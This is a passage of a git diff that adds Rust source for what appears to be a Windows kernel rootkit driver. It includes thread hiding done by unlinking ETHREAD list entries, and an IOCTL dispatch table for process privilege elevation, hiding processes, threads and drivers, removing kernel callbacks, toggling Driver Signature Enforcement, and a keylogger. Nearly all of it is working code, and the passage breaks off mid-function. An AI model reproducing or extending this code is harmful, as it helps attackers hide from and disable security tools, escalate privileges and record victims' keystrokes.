|
||||||
|
/// # Parameters
|
||||||
|
/// - `tid`: The identifier of the target process (TID) to be hidden.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
|
///
|
||||||
|
unsafe fn unhide_thread(target: *mut TargetThread) -> NTSTATUS {
|
||||||
|
let tid = (*target).tid;
|
||||||
|
|
||||||
|
// Offsets
|
||||||
|
let rundown_protect = get_rundown_protect();
|
||||||
|
let thread_list_entry = rundown_protect - core::mem::size_of::<usize>() as isize * 2;
|
||||||
|
let thread_lock = rundown_protect + core::mem::size_of::<usize>() as isize;
|
||||||
|
|
||||||
|
// Retrieving ETHREAD from the target thread
|
||||||
|
let thread = match Self::new(tid) {
|
||||||
|
Some(t) => t,
|
||||||
|
None => return STATUS_UNSUCCESSFUL,
|
||||||
|
};
|
||||||
|
|
||||||
|
let list_entry = thread.e_thread.cast::<u8>().offset(thread_list_entry) as PLIST_ENTRY;
|
||||||
|
let push_lock = thread.e_thread.cast::<u8>().offset(thread_lock) as *mut u64;
|
||||||
|
|
||||||
|
ExAcquirePushLockExclusiveEx(push_lock, 0);
|
||||||
|
|
||||||
|
// Restoring Flink / Blink
|
||||||
|
let mut thread_info = THREAD_INFO_HIDE.lock();
|
||||||
|
if let Some(index) = thread_info.iter().position(|p| p.tid == tid) {
|
||||||
|
let thread = &thread_info[index];
|
||||||
|
let list = thread.list_entry.load(Ordering::SeqCst);
|
||||||
|
if list.is_null() {
|
||||||
|
log::error!("List entry stored in AtomicPtr is null");
|
||||||
|
return STATUS_INVALID_PARAMETER;
|
||||||
|
}
|
||||||
|
|
||||||
|
(*list_entry).Flink = (*list).Flink as *mut _LIST_ENTRY;
|
||||||
|
(*list_entry).Blink = (*list).Blink as *mut _LIST_ENTRY;
|
||||||
|
|
||||||
|
let next = (*list_entry).Flink; // Thread (3)
|
||||||
|
let previous = (*list_entry).Blink; // Thread (1)
|
||||||
|
|
||||||
|
(*next).Blink = list_entry;
|
||||||
|
(*previous).Flink = list_entry;
|
||||||
|
|
||||||
|
thread_info.remove(index);
|
||||||
|
} else {
|
||||||
|
log::info!("TID ({tid}) Not found");
|
||||||
|
ExReleasePushLockExclusiveEx(push_lock, 0);
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
log::info!("Thread with TID {tid} unhidden successfully.");
|
||||||
|
ExReleasePushLockExclusiveEx(push_lock, 0);
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerates and hides threads by populating the provided `ThreadListInfo` structure with thread IDs.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `info_process`: A pointer to the `ThreadListInfo` structure to be populated.
|
||||||
|
/// - `information`: A mutable reference to a `usize` value that will be updated with the size of the populated data.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
||||||
|
///
|
||||||
|
pub unsafe fn enumerate_hide_threads(info_process: *mut ThreadListInfo, information: &mut usize) -> NTSTATUS {
|
||||||
|
let thread_info = THREAD_INFO_HIDE.lock();
|
||||||
|
let mut count = 0;
|
||||||
|
for i in thread_info.iter() {
|
||||||
|
(*info_process.offset(count)).tids = i.tid;
|
||||||
|
|
||||||
|
*information += core::mem::size_of::<ThreadListInfo>();
|
||||||
|
count += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerates threads and performs actions based on the specified options (hide or protection).
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `input_target`: A pointer to the `EnumerateInfoInput` structure containing the target options.
|
||||||
|
/// - `info_process`: A pointer to the `ThreadListInfo` structure to be populated.
|
||||||
|
/// - `information`: A mutable reference to a `usize` value that will be updated with the size of the populated data.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
||||||
|
///
|
||||||
|
pub unsafe fn enumerate_thread_toggle(input_target: *mut EnumerateInfoInput, info_process: *mut ThreadListInfo, information: &mut usize) -> NTSTATUS {
|
||||||
|
let status;
|
||||||
|
|
||||||
|
match (*input_target).options {
|
||||||
|
Options::Hide => {
|
||||||
|
status = Self::enumerate_hide_threads(info_process, information);
|
||||||
|
},
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
Options::Protection => {
|
||||||
|
status = enumerate_protection_threads(info_process, information);
|
||||||
|
},
|
||||||
|
#[cfg(feature = "mapper")]
|
||||||
|
Options::Protection => {
|
||||||
|
status = wdk_sys::STATUS_INVALID_DEVICE_REQUEST;
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
status
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Implements the `Drop` trait for the `Thread` structure to handle cleanup when the structure goes out of scope.
|
||||||
|
impl Drop for Thread {
|
||||||
|
/// Cleans up the resources held by the `Process` structure.
|
||||||
|
fn drop(&mut self) {
|
||||||
|
if !self.e_thread.is_null() {
|
||||||
|
unsafe { ObfDereferenceObject(self.e_thread as _) };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
184
driver/src/utils/ioctls.rs
Normal file
184
driver/src/utils/ioctls.rs
Normal file
@@ -0,0 +1,184 @@
|
|||||||
|
use {
|
||||||
|
crate::{
|
||||||
|
driver::Driver, handle_driver, handle_process,
|
||||||
|
handle_callback, handle_thread, keylogger::set_keylogger_state,
|
||||||
|
process::Process, thread::Thread, callbacks::Callback,
|
||||||
|
handle_module, module::Module
|
||||||
|
},
|
||||||
|
alloc::boxed::Box,
|
||||||
|
core::mem::size_of,
|
||||||
|
hashbrown::HashMap,
|
||||||
|
lazy_static::lazy_static,
|
||||||
|
shared::{
|
||||||
|
ioctls::*,
|
||||||
|
structs::{
|
||||||
|
DriverInfo, TargetDriver, EnumerateInfoInput, Keylogger,
|
||||||
|
ProcessInfoHide, ProcessListInfo, ProcessSignature, TargetProcess,
|
||||||
|
TargetThread, ThreadListInfo, DSE, CallbackInfoOutput, CallbackInfoInput,
|
||||||
|
ModuleInfo
|
||||||
|
}
|
||||||
|
},
|
||||||
|
wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS}
|
||||||
|
};
|
||||||
|
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
use {
|
||||||
|
crate::{
|
||||||
|
process::add_remove_process_toggle,
|
||||||
|
thread::add_remove_thread_toggle,
|
||||||
|
handle_registry,
|
||||||
|
registry::Registry
|
||||||
|
},
|
||||||
|
shared::structs::{ProcessProtection, ThreadProtection, TargetRegistry},
|
||||||
|
};
|
||||||
|
|
||||||
|
type IoctlHandler = Box<dyn Fn(*mut IRP, *mut IO_STACK_LOCATION) -> NTSTATUS + Send + Sync>;
|
||||||
|
|
||||||
|
lazy_static! {
|
||||||
|
pub static ref IOCTL_MAP: HashMap<u32, IoctlHandler> = {
|
||||||
|
let mut ioctls = HashMap::new();
|
||||||
|
ioctls.insert(IOCTL_ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_ELEVATE_PROCESS");
|
||||||
|
let status = unsafe { handle_process!(stack, Process::elevate_process, TargetProcess) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess>() as u64; }
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_HIDE_UNHIDE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_HIDE_UNHIDE_PROCESS");
|
||||||
|
let status = unsafe { handle_process!(stack, Process::process_toggle, ProcessInfoHide) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = size_of::<ProcessInfoHide>() as u64; }
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_TERMINATE_PROCESS");
|
||||||
|
let status = unsafe { handle_process!(stack, Process::terminate_process, TargetProcess) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess> as u64 };
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_SIGNATURE_PROCESS");
|
||||||
|
let status = unsafe { handle_process!(stack, Process::protection_signature, ProcessSignature) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = size_of::<ProcessSignature> as u64 };
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_ENUMERATION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_ENUMERATION_PROCESS");
|
||||||
|
let mut information = 0;
|
||||||
|
let status = unsafe { handle_process!(irp, stack, Process::enumerate_process_toggle, EnumerateInfoInput, ProcessListInfo, &mut information) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_HIDE_UNHIDE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_HIDE_UNHIDE_THREAD");
|
||||||
|
let status = unsafe { handle_thread!(stack, Thread::thread_toggle, TargetThread) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = size_of::<TargetThread> as u64 };
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_ENUMERATION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_ENUMERATION_THREAD");
|
||||||
|
let mut information = 0;
|
||||||
|
let status = unsafe { handle_thread!(irp, stack, Thread::enumerate_thread_toggle, EnumerateInfoInput, ThreadListInfo , &mut information) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_HIDE_UNHIDE_DRIVER");
|
||||||
|
let status = unsafe { handle_driver!(stack, Driver::driver_toggle, TargetDriver) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = 0 };
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_ENUMERATE_DRIVER");
|
||||||
|
let mut information = 0;
|
||||||
|
let status = unsafe { handle_driver!(irp, Driver::enumerate_driver, DriverInfo, &mut information) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_ENUMERATE_CALLBACK");
|
||||||
|
let mut information = 0;
|
||||||
|
let status = unsafe { handle_callback!(irp, stack, Callback::search_module, CallbackInfoInput, CallbackInfoOutput, &mut information) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_REMOVE_CALLBACK");
|
||||||
|
let status = unsafe { handle_callback!(stack, Callback::remove_callback, CallbackInfoInput) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = 0 };
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_RESTORE_CALLBACK");
|
||||||
|
let status = unsafe { handle_callback!(stack, Callback::restore_callback, CallbackInfoInput) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = 0 };
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_ENABLE_DSE");
|
||||||
|
let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = 0 };
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_KEYLOGGER");
|
||||||
|
let status = unsafe { handle_driver!(stack, set_keylogger_state, Keylogger) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = 0 };
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_ENUMERATE_MODULE");
|
||||||
|
let mut information = 0;
|
||||||
|
let status = unsafe { handle_module!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = information as u64 };
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
// If the feature is a mapper, these functionalities will not be added.
|
||||||
|
#[cfg(not(feature = "mapper"))] {
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_PROTECTION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_PROTECTION_PROCESS");
|
||||||
|
let status = unsafe { handle_process!(stack, add_remove_process_toggle, ProcessProtection) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = size_of::<ProcessProtection> as u64 };
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_PROTECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_PROTECTION_THREAD");
|
||||||
|
let status = unsafe { handle_thread!(stack, add_remove_thread_toggle, ThreadProtection) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = size_of::<TargetThread> as u64 };
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_REGISTRY_VALUE");
|
||||||
|
let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = 0 };
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
|
||||||
|
ioctls.insert(IOCTL_REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
log::info!("Received IOCTL_REGISTRY_KEY");
|
||||||
|
let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry) };
|
||||||
|
unsafe { (*irp).IoStatus.Information = 0 };
|
||||||
|
status
|
||||||
|
}) as IoctlHandler);
|
||||||
|
}
|
||||||
|
|
||||||
|
ioctls
|
||||||
|
};
|
||||||
|
}
|
||||||
164
driver/src/utils/macros.rs
Normal file
164
driver/src/utils/macros.rs
Normal file
@@ -0,0 +1,164 @@
|
|||||||
|
/// Macro to handle process-related IRP (I/O Request Packet) operations.
|
||||||
|
///
|
||||||
|
/// Matches the input buffer type and executes the given action, returning the status.
|
||||||
|
#[macro_export]
|
||||||
|
macro_rules! handle_process {
|
||||||
|
($irp:expr, $stack:expr, $action:expr, $input_type:ty, $output_type:ty, $information:expr) => {{
|
||||||
|
let output_buffer = match crate::utils::get_output_buffer::<$output_type>($irp) {
|
||||||
|
Ok(buffer) => buffer,
|
||||||
|
Err(status) => return status,
|
||||||
|
};
|
||||||
|
|
||||||
|
let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) {
|
||||||
|
Ok(buffer) => buffer,
|
||||||
|
Err(status) => return status,
|
||||||
|
};
|
||||||
|
|
||||||
|
$action(input_buffer, output_buffer, $information)
|
||||||
|
}};
|
||||||
|
|
||||||
|
($irp:expr, $action:expr, $type_:ty) => {{
|
||||||
|
let input_buffer = match crate::utils::get_input_buffer::<$type_>($irp) {
|
||||||
|
Ok(buffer) => buffer,
|
||||||
|
Err(status) => return status,
|
||||||
|
};
|
||||||
|
|
||||||
|
$action(input_buffer)
|
||||||
|
}};
|
||||||
|
|
||||||
|
($irp:expr, $action:expr, $type_:ty, $information:expr) => {
|
||||||
|
let output_buffer = match crate::utils::get_output_buffer::<$type_>($irp) {
|
||||||
|
Ok(buffer) => buffer,
|
||||||
|
Err(status) => return status,
|
||||||
|
}
|
||||||
|
|
||||||
|
$action(output_buffer, $information)
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Macro to handle thread-related IRP (I/O Request Packet) operations.
|
||||||
|
///
|
||||||
|
/// Matches the input buffer type and executes the given action, returning the status.
|
||||||
|
#[macro_export]
|
||||||
|
macro_rules! handle_thread {
|
||||||
|
($irp:expr, $stack:expr, $action:expr, $input_type:ty, $output_type:ty, $information:expr) => {{
|
||||||
|
let output_buffer = match crate::utils::get_output_buffer::<$output_type>($irp) {
|
||||||
|
Ok(buffer) => buffer,
|
||||||
|
Err(status) => return status,
|
||||||
|
};
|
||||||
|
|
||||||
|
let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) {
|
||||||
|
Ok(buffer) => buffer,
|
||||||
|
Err(status) => return status,
|
||||||
|
};
|
||||||
|
|
||||||
|
$action(input_buffer, output_buffer, $information)
|
||||||
|
}};
|
||||||
|
|
||||||
|
($irp:expr, $action:expr, $type_:ty) => {{
|
||||||
|
let input_buffer = match crate::utils::get_input_buffer::<$type_>($irp) {
|
||||||
|
Ok(buffer) => buffer,
|
||||||
|
Err(status) => return status,
|
||||||
|
};
|
||||||
|
|
||||||
|
$action(input_buffer)
|
||||||
|
}};
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Macro to handle driver-related operations.
|
||||||
|
///
|
||||||
|
/// Executes the given action based on the provided parameters and returns the status.
|
||||||
|
#[macro_export]
|
||||||
|
macro_rules! handle_driver {
|
||||||
|
($irp:expr, $action:expr, $type_:ty, $information:expr) => {{
|
||||||
|
let output_buffer = match crate::utils::get_output_buffer::<$type_>($irp) {
|
||||||
|
Ok(buffer) => buffer,
|
||||||
|
Err(status) => return status,
|
||||||
|
};
|
||||||
|
|
||||||
|
$action(output_buffer, $information)
|
||||||
|
}};
|
||||||
|
|
||||||
|
($stack:expr, $action:expr, $type_:ty) => {{
|
||||||
|
let input_buffer = match crate::utils::get_input_buffer::<$type_>($stack) {
|
||||||
|
Ok(buffer) => buffer,
|
||||||
|
Err(status) => return status,
|
||||||
|
};
|
||||||
|
|
||||||
|
$action(input_buffer)
|
||||||
|
}};
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Macro to handle registry-related operations.
|
||||||
|
///
|
||||||
|
/// Executes the given action based on the provided parameters and returns the status.
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
#[macro_export]
|
||||||
|
macro_rules! handle_registry {
|
||||||
|
($irp:expr, $action:expr, $type_:ty, $information:expr) => {{
|
||||||
|
let output_buffer = match crate::utils::get_output_buffer::<$type_>($irp) {
|
||||||
|
Ok(buffer) => buffer,
|
||||||
|
Err(status) => return status,
|
||||||
|
};
|
||||||
|
|
||||||
|
$action(output_buffer, $information)
|
||||||
|
}};
|
||||||
|
|
||||||
|
($stack:expr, $action:expr, $type_:ty) => {{
|
||||||
|
let input_buffer = match crate::utils::get_input_buffer::<$type_>($stack) {
|
||||||
|
Ok(buffer) => buffer,
|
||||||
|
Err(status) => return status,
|
||||||
|
};
|
||||||
|
|
||||||
|
$action(input_buffer)
|
||||||
|
}};
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Macro to handle module-related operations.
|
||||||
|
///
|
||||||
|
/// Executes the given action based on the provided parameters and returns the status.
|
||||||
|
#[macro_export]
|
||||||
|
macro_rules! handle_module {
|
||||||
|
($irp:expr, $stack:expr, $action:expr, $input_type:ty, $output_type:ty, $information:expr) => {{
|
||||||
|
let output_buffer = match crate::utils::get_output_buffer::<$output_type>($irp) {
|
||||||
|
Ok(buffer) => buffer,
|
||||||
|
Err(status) => return status,
|
||||||
|
};
|
||||||
|
|
||||||
|
let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) {
|
||||||
|
Ok(buffer) => buffer,
|
||||||
|
Err(status) => return status,
|
||||||
|
};
|
||||||
|
|
||||||
|
$action(input_buffer, output_buffer, $information)
|
||||||
|
}};
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Macro to handle callback-related operations.
|
||||||
|
///
|
||||||
|
/// Executes the given action based on the provided parameters and returns the status.
|
||||||
|
#[macro_export]
|
||||||
|
macro_rules! handle_callback {
|
||||||
|
($irp:expr, $stack:expr, $action:expr, $input_type:ty, $output_type:ty, $information:expr) => {{
|
||||||
|
let output_buffer = match crate::utils::get_output_buffer::<$output_type>($irp) {
|
||||||
|
Ok(buffer) => buffer,
|
||||||
|
Err(status) => return status,
|
||||||
|
};
|
||||||
|
|
||||||
|
let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) {
|
||||||
|
Ok(buffer) => buffer,
|
||||||
|
Err(status) => return status,
|
||||||
|
};
|
||||||
|
|
||||||
|
$action(input_buffer, output_buffer, $information)
|
||||||
|
}};
|
||||||
|
|
||||||
|
($irp:expr, $action:expr, $type_:ty) => {{
|
||||||
|
let input_buffer = match crate::utils::get_input_buffer::<$type_>($irp) {
|
||||||
|
Ok(buffer) => buffer,
|
||||||
|
Err(status) => return status,
|
||||||
|
};
|
||||||
|
|
||||||
|
$action(input_buffer)
|
||||||
|
}};
|
||||||
|
}
|
||||||
281
driver/src/utils/mod.rs
Normal file
281
driver/src/utils/mod.rs
Normal file
@@ -0,0 +1,281 @@
|
|||||||
|
use {
|
||||||
|
obfstr::obfstr,
|
||||||
|
alloc::string::String,
|
||||||
|
crate::process::Process,
|
||||||
|
crate::includes::SystemModuleInformation,
|
||||||
|
core::{ffi::CStr, ptr::null_mut},
|
||||||
|
ntapi::{
|
||||||
|
ntexapi::{SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION},
|
||||||
|
ntzwapi::ZwQuerySystemInformation,
|
||||||
|
},
|
||||||
|
wdk_sys::{
|
||||||
|
ntddk::{
|
||||||
|
ExAllocatePool, ExFreePool, KeStackAttachProcess, KeUnstackDetachProcess,
|
||||||
|
},
|
||||||
|
IRP, KAPC_STATE, NTSTATUS, NT_SUCCESS, STATUS_INVALID_PARAMETER,
|
||||||
|
_IO_STACK_LOCATION, _POOL_TYPE::NonPagedPool
|
||||||
|
},
|
||||||
|
winapi::{
|
||||||
|
ctypes::c_void,
|
||||||
|
um::winnt::{
|
||||||
|
RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_EXPORT_DIRECTORY,
|
||||||
|
IMAGE_NT_HEADERS64, IMAGE_NT_SIGNATURE
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
#[cfg(not(test))]
|
||||||
|
extern crate wdk_panic;
|
||||||
|
|
||||||
|
#[cfg(not(test))]
|
||||||
|
use wdk_alloc::WDKAllocator;
|
||||||
|
|
||||||
|
#[cfg(not(test))]
|
||||||
|
#[global_allocator]
|
||||||
|
static GLOBAL_ALLOCATOR: WDKAllocator = WDKAllocator;
|
||||||
|
|
||||||
|
pub mod macros;
|
||||||
|
pub mod offsets;
|
||||||
|
pub mod uni;
|
||||||
|
pub mod ioctls;
|
||||||
|
|
||||||
|
/// Retrieves the input buffer from the given IO stack location.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `stack`: A pointer to the `_IO_STACK_LOCATION` structure.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Result<*mut T, NTSTATUS>`: A result containing the pointer to the input buffer or an NTSTATUS error code.
|
||||||
|
///
|
||||||
|
pub unsafe fn get_input_buffer<T>(stack: *mut _IO_STACK_LOCATION) -> Result<*mut T, NTSTATUS> {
|
||||||
|
let input_buffer = (*stack).Parameters.DeviceIoControl.Type3InputBuffer;
|
||||||
|
if input_buffer.is_null() {
|
||||||
|
log::error!("Type3InputBuffer is null");
|
||||||
|
Err(STATUS_INVALID_PARAMETER)
|
||||||
|
} else {
|
||||||
|
Ok(input_buffer as *mut T)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Retrieves the output buffer from the given IRP.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `irp`: A pointer to the `IRP` structure.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Result<*mut T, NTSTATUS>`: A result containing the pointer to the output buffer or an NTSTATUS error code.
|
||||||
|
///
|
||||||
|
pub unsafe fn get_output_buffer<T>(irp: *mut IRP) -> Result<*mut T, NTSTATUS> {
|
||||||
|
let output_buffer = (*irp).UserBuffer;
|
||||||
|
if output_buffer.is_null() {
|
||||||
|
log::error!("UserBuffer is null");
|
||||||
|
Err(STATUS_INVALID_PARAMETER)
|
||||||
|
} else {
|
||||||
|
Ok(output_buffer as *mut T)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Gets the base address of a specified module.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `module_name`: A string slice containing the name of the module.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Option<*mut c_void>`: An optional pointer to the base address of the module, or None if the module is not found.
|
||||||
|
///
|
||||||
|
pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void> {
|
||||||
|
let mut return_bytes = 0;
|
||||||
|
ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes);
|
||||||
|
|
||||||
|
let info_module = ExAllocatePool(NonPagedPool, return_bytes as u64) as *mut SystemModuleInformation;
|
||||||
|
|
||||||
|
if info_module.is_null() {
|
||||||
|
log::error!("ExAllocatePool Failed");
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
RtlZeroMemory(info_module as *mut c_void, return_bytes as usize);
|
||||||
|
|
||||||
|
let status = ZwQuerySystemInformation(SystemModuleInformation,info_module as *mut c_void,return_bytes,&mut return_bytes);
|
||||||
|
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
log::error!("ZwQuerySystemInformation [2] Failed With Status: {status}");
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let module_count = (*info_module).modules_count;
|
||||||
|
|
||||||
|
for i in 0..module_count as usize {
|
||||||
|
let name = (*info_module).modules[i].image_name;
|
||||||
|
let module_base = (*info_module).modules[i].image_base;
|
||||||
|
if let Ok(name_str) = core::str::from_utf8(&name) {
|
||||||
|
if name_str.contains(module_name) {
|
||||||
|
return Some(module_base);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Gets the address of a specified function within a module.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `function_name`: A string slice containing the name of the function.
|
||||||
|
/// - `dll_base`: A pointer to the base address of the DLL.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
|
||||||
|
///
|
||||||
|
pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
|
||||||
|
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
|
||||||
|
if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE {
|
||||||
|
log::error!("INVALID DOS SIGNATURE");
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||||
|
if (*nt_header).Signature != IMAGE_NT_SIGNATURE {
|
||||||
|
log::error!("INVALID NT SIGNATURE");
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||||
|
let names = (dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32;
|
||||||
|
